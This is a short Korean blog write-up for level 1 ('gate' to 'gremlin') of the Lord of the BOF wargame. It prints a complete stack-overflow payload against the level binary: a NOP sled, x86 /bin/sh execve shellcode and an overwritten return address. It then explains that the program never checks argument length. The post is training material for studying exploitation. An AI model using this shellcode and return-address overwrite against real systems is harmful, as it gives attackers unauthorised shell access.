본문 바로가기
HACKING_GAME/SYSTEM

LOB#1 gate

by asdf12345 2020. 7. 19.

0. Payload 

/home/gate/gremlin `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*135+"\xd0\xf8\xff\xbf"+"\x90"*100'`

1. 문제풀이

1) CODE

소스코드 확인 시, 인자값 길이를 확인하지 않음을 알 수 있다. 

2)SOLUTION

main() 시작점에서 return address, strcpy() 호출 이후 stack 내 userinput 저장 위치를 확인할 수 있다.

shellcode 실행을 위해, return address 위치 - userinput 위치를 nop과 shell code로 채운 후, return address값을 shell code 가 존재하는 주소로 변경한다.   

 

'HACKING_GAME > SYSTEM' 카테고리의 다른 글

LOB#12 darkknight  (0) 2020.07.19
PWNABLE#7 input  (0) 2020.05.14
LOB#6 check length of argv[1] + egghunter + bufferhunter (wolfman -> darkelf)  (0) 2020.05.10
LOB#4 egghunter (goblin -> orc)  (0) 2020.04.26
PWNABLE#3 bof  (0) 2020.04.26